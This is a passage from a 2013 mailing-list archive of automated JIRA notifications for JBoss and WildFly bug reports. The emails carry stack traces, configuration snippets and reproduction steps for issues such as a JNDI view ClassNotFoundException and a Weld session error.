>         at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
>         at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
>         ... 40 more
> {code}
> The problem occurs in any case if the basemodule-core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:41:03 2013
From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Fri, 6 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928000.13276.1378474863632@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Bazzani updated JBAS-9547:
--------------------------------

    Workaround Description: 



  was:use the jndi view via CLI


    
> Web Console JNDI view classnotfoundexcpetion
> --------------------------------------------
>
>                 Key: JBAS-9547
>                 URL: https://issues.jboss.org/browse/JBAS-9547
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Web Console
>    Affects Versions: 6.1.0
>         Environment: any
>            Reporter: Marco Bazzani
>              Labels: console, jndi
>
> JNDI View button in web console doesn't work
> To reproduce:
> add 
> {code:xml}
>         <subsystem xmlns="urn:jboss:domain:naming:1.3">
>             <bindings>
>                 <lookup name="java:/ejb/BaseModuleBcpModulesFacade" lookup="ejb:basemodule-core/basemodule-core-ejb/BaseModuleBcpModulesFacade!it.ebilling.basemodule.business.authorization.IAuthorizationManagementFacadeRemote"/>
>             </bindings>
>         </subsystem>
> {code}
> click on jndi view and you'll got the following error:
> {code}
> 15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
> eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
> te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
> .1\modules\system\layers\base))]]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
>         at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
>         at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
>         at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
> ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
> les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
>         at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
>         at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
>         ... 33 more
> Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
> 65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
>         at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
>         at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
>         ... 40 more
> {code}
> The problem occurs in any case if the basemodule-core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:47:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Fri, 6 Sep 2013 09:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2021) EE Component interceptor
 chains should be stateless
In-Reply-To: <JIRA.12500214.1378475131345@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500214.1378475131345@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500214.1378475131345.13284.1378475223493@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2021:
------------------------------------

             Summary: EE Component interceptor chains should be stateless
                 Key: WFLY-2021
                 URL: https://issues.jboss.org/browse/WFLY-2021
             Project: WildFly
          Issue Type: Feature Request
          Components: EE, EJB
            Reporter: Stuart Douglas
            Assignee: Stuart Douglas


This will allow them to be shared by all instances, rather than having a new chain allocated for each method.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 10:13:05 2013
From: jira-events at lists.jboss.org (Chris Sams (JIRA))
Date: Fri, 6 Sep 2013 10:13:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-187) AbstractVirtualFileHandler
 log message: "No such existing handler,
 falling back to old root + path" is too strict
In-Reply-To: <JIRA.12487066.1363104048000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487066.1363104048000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487066.1363104048000.13364.1378476785611@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-187?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Chris Sams resolved JBVFS-187.
------------------------------

    Fix Version/s: 2.2.3.GA
       Resolution: Done

    
> AbstractVirtualFileHandler log message: "No such existing handler, falling back to old root + path" is too strict
> -----------------------------------------------------------------------------------------------------------------
>
>                 Key: JBVFS-187
>                 URL: https://issues.jboss.org/browse/JBVFS-187
>             Project: JBoss VFS
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Release
>    Affects Versions:  2.2.0.GA, 2.2.0.SP1, 2.2.1.GA
>            Reporter: Chris Sams
>            Assignee: Chris Sams
>            Priority: Minor
>             Fix For: 2.2.3.GA
>
>
> This is to strict, it should be INFO or even less.
> What we're trying to do here is get a real (non-temp) URL, for that we use original handler.
> And then try to get a child off this old handler, where since removed, is null.
> So we try our best to re-ceate the original url - hence warning.
> This can occur in normal operations such as when using a jboss-structure.xml:
> <structure>
> <context modification="temp">
> <path name=""/>
> <metaDataPath>
> <path name="WEB-INF"/>
> </metaDataPath>
> <classpath>
> <path name="WEB-INF/classes"/>
> <path name="WEB-INF/lib" suffixes=".jar"/>
> </classpath>
> </context>
> </structure>
> And if you deploy an exploded deployment and then remove it from the deploy directory triggering a undeploy will cause the warning.
> 22:20:08,625 WARN [AbstractVirtualFileHandler] No such existing handler, falling back to old root + path: vfszip:/home/applications/servers/eap/jboss-eap-5.1.2/jboss-as/server/default/deploy/springtest3.2.war/WEB-INF/lib/spring-web-3.2.0.M2.jar/org/springframework/web/context/ContextCleanupListener.class

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 10:15:04 2013
From: jira-events at lists.jboss.org (Chris Sams (JIRA))
Date: Fri, 6 Sep 2013 10:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-187) AbstractVirtualFileHandler
 log message: "No such existing handler,
 falling back to old root + path" is too strict
In-Reply-To: <JIRA.12487066.1363104048000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487066.1363104048000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487066.1363104048000.13366.1378476904390@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-187?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Chris Sams closed JBVFS-187.
----------------------------


    
> AbstractVirtualFileHandler log message: "No such existing handler, falling back to old root + path" is too strict
> -----------------------------------------------------------------------------------------------------------------
>
>                 Key: JBVFS-187
>                 URL: https://issues.jboss.org/browse/JBVFS-187
>             Project: JBoss VFS
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Release
>    Affects Versions:  2.2.0.GA, 2.2.0.SP1, 2.2.1.GA
>            Reporter: Chris Sams
>            Assignee: Chris Sams
>            Priority: Minor
>             Fix For: 2.2.3.GA
>
>
> This is to strict, it should be INFO or even less.
> What we're trying to do here is get a real (non-temp) URL, for that we use original handler.
> And then try to get a child off this old handler, where since removed, is null.
> So we try our best to re-ceate the original url - hence warning.
> This can occur in normal operations such as when using a jboss-structure.xml:
> <structure>
> <context modification="temp">
> <path name=""/>
> <metaDataPath>
> <path name="WEB-INF"/>
> </metaDataPath>
> <classpath>
> <path name="WEB-INF/classes"/>
> <path name="WEB-INF/lib" suffixes=".jar"/>
> </classpath>
> </context>
> </structure>
> And if you deploy an exploded deployment and then remove it from the deploy directory triggering a undeploy will cause the warning.
> 22:20:08,625 WARN [AbstractVirtualFileHandler] No such existing handler, falling back to old root + path: vfszip:/home/applications/servers/eap/jboss-eap-5.1.2/jboss-as/server/default/deploy/springtest3.2.war/WEB-INF/lib/spring-web-3.2.0.M2.jar/org/springframework/web/context/ContextCleanupListener.class

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 10:47:08 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Fri, 6 Sep 2013 10:47:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333000.13679.1378478828110@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1996?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-1996.
----------------------------------

    Resolution: Done

    
> Application client will not start if run against a standalone client jar
> ------------------------------------------------------------------------
>
>                 Key: WFLY-1996
>                 URL: https://issues.jboss.org/browse/WFLY-1996
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 11:17:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 6 Sep 2013 11:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.13847.1378480623417@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802454#comment-12802454 ] 

Darran Lofthouse commented on WFLY-2020:
----------------------------------------

The underlying error actually appears to be: -

{code}
[0mException in thread "remoting-jmx client-thread-1" java.lang.NoSuchFieldError: serializedCreator
	at org.jboss.marshalling.river.RiverUnmarshaller.doReadNewObject(RiverUnmarshaller.java:1287)
	at org.jboss.marshalling.river.RiverUnmarshaller.doReadObject(RiverUnmarshaller.java:276)
	at org.jboss.marshalling.river.RiverUnmarshaller.doReadObject(RiverUnmarshaller.java:213)
	at org.jboss.marshalling.AbstractObjectInput.readObject(AbstractObjectInput.java:80)
	at org.jboss.remotingjmx.protocol.v2.ClientConnection$NotificationHandler.handle(ClientConnection.java:1628)
	at org.jboss.remotingjmx.protocol.v2.ClientCommon$MessageReceiver$1.run(ClientCommon.java:123)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
	at java.lang.Thread.run(Thread.java:722)
{code}

A notification is sent from the server to the client but as there is this error reading the notification it is never actually handled on the client, as a result of this the client never response to the server and the server times out with the following message: -

{code}
[31m15:24:23,360 SEVERE [org.jboss.arquillian.protocol.jmx.JMXTestRunner] (pool-1-thread-1) Failed: org.jboss.test.osgi.example.webapp.WebAppTestCase.testWarDeployment: java.lang.RuntimeException: Could not communicate with client side
	at org.jboss.arquillian.protocol.jmx.JMXCommandService.execute(JMXCommandService.java:62) [arquillian-service:]
	at org.jboss.arquillian.container.test.impl.client.deployment.ContainerDeployer.deploy(ContainerDeployer.java:46) [arquillian-service:]
...
Caused by: java.lang.RuntimeException: No command response within timeout of 30000 ms.
	at org.jboss.arquillian.protocol.jmx.JMXCommandService.execute(JMXCommandService.java:60) [arquillian-service:]
{code}
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep  6 11:22:04 2013
From: jira-events at lists.jboss.org (Juergen Zimmermann (JIRA))
Date: Fri, 6 Sep 2013 11:22:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1533) UT015005: Error invoking
 method requestDestroyed on listener class
In-Reply-To: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494311.1371222584000.13855.1378480924005@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1533?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Juergen Zimmermann updated WFLY-1533:
-------------------------------------

    Attachment: mojarra-2.1.zip
                testcase-WFLY-1533.zip


Instructions for the testcase:

1) Install WildFly from the latest master.

2) Add the modules for Mojarra 2.1.26 because even the latest release of RichFaces doesn't work with Mojarra 2.2.x, i.e. just unzip mojarra-2.1.zip in $JBOSS_HOME/modules.

3) In standalone/configuration/standalone.xml add the security domain "testcase" which is configured via users.properties and roles.properties in the testcase itself:
{code}
<security-domain name="testcase" cache-type="default">
   <authentication>
      <login-module code="UsersRoles" flag="required"/>
   </authentication>
</security-domain>

{code}

4) Start the WildFly server, i.e. $JBOSS_HOME/bin/standalone.bat

5) Prepare the testcase in a shell:
{code}
mvn package
cp target/testcase.war $JBOSS_HOME/standalone/deployments
{code}
Remark 1: During deployment on Windows you see a warning about package-info because of https://hibernate.atlassian.net/i#browse/HHH-8394
Remark 2: "mvn jboss-as:deploy" doesn't work because users.properties is searched in the CLASSPATH.

6) Now in a webbrowser submit http://localhost:8080/testcase, and then log in using ID 1 and password p in the right upper corner. Then just click the new logout link. After about 30 seconds the stacktrace appears in the WildFly console.
                
> UT015005: Error invoking method requestDestroyed on listener class 
> -------------------------------------------------------------------
>
>                 Key: WFLY-1533
>                 URL: https://issues.jboss.org/browse/WFLY-1533
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha2, 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Jozef Hartinger
>         Attachments: mojarra-2.1.zip, testcase-WFLY-1533.zip
>
>
> I'm using a WildFly snapshot with Undertow 1.0.0.Alpha19 and Weld 2.0.1.Final. I'm getting the following stacktrace:
> 16:55:04,534 ERROR [io.undertow.servlet.request] UT015005: Error invoking method requestDestroyed on listener class org.jboss.weld.servlet.WeldListener: java.lang.IllegalStateException: UT000010: Session not found MDEkG_Aum5OlXUsjh11kGkh9
> 	at io.undertow.server.session.InMemorySessionManager$SessionImpl.getAttribute(InMemorySessionManager.java:221) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.spec.HttpSessionImpl.getAttribute(HttpSessionImpl.java:106) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:25) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:13) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.AbstractConversationContext.dissociate(AbstractConversationContext.java:161) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.ConversationContextActivator.disassociateConversationContext(ConversationContextActivator.java:162) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.HttpContextLifecycle.requestDestroyed(HttpContextLifecycle.java:159) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.WeldListener.requestDestroyed(WeldListener.java:91) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at io.undertow.servlet.core.ApplicationListeners.requestDestroyed(ApplicationListeners.java:196) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:159) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:114) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:47) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:90) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:607) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 11:28:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 6 Sep 2013 11:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2000) No enum
 AccessAuthorizationResourceDefinition.Provider.UNDEFINED
In-Reply-To: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499964.1378309224000.13874.1378481283358@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2000?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802463#comment-12802463 ] 

Brian Stansberry commented on WFLY-2000:
----------------------------------------

The specific fix I mentioned is merged in master. But I'm reluctant to resolve this because I don't know what caused the rollback in the first place. I've been able to start servers in a multi-host domain without issue.
                
> No enum AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> ----------------------------------------------------------------
>
>                 Key: WFLY-2000
>                 URL: https://issues.jboss.org/browse/WFLY-2000
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Anattemp to start a server within a domain (hosts>1) yields:
> {noformat}
> [Server:stage2] ERROR [org.jboss.as.controller.management-operation] JBAS014603:  caught exception attempting to revert operation write-attribute at address [
> [Server:stage2]     ("core-service" => "management"),
> [Server:stage2]     ("access" => "authorization")
> [Server:stage2] ]: java.lang.IllegalArgumentException: No enum constant org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> [Server:stage2] 	at java.lang.Enum.valueOf(Enum.java:236) [rt.jar:1.7.0_17]
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition$Provider.valueOf(AccessAuthorizationResourceDefinition.java:68)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.updateAuthorizer(AccessAuthorizationProviderWriteAttributeHander.java:98)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:93)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:48)
> [Server:stage2] 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1$1.handleRollback(AbstractWriteAttributeHandler.java:111) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$RollbackDelegatingResultHandler.handleResult(AbstractOperationContext.java:1019) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.handleRollback(AbstractOperationContext.java:988) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeInternal(AbstractOperationContext.java:946) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeStep(AbstractOperationContext.java:921) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
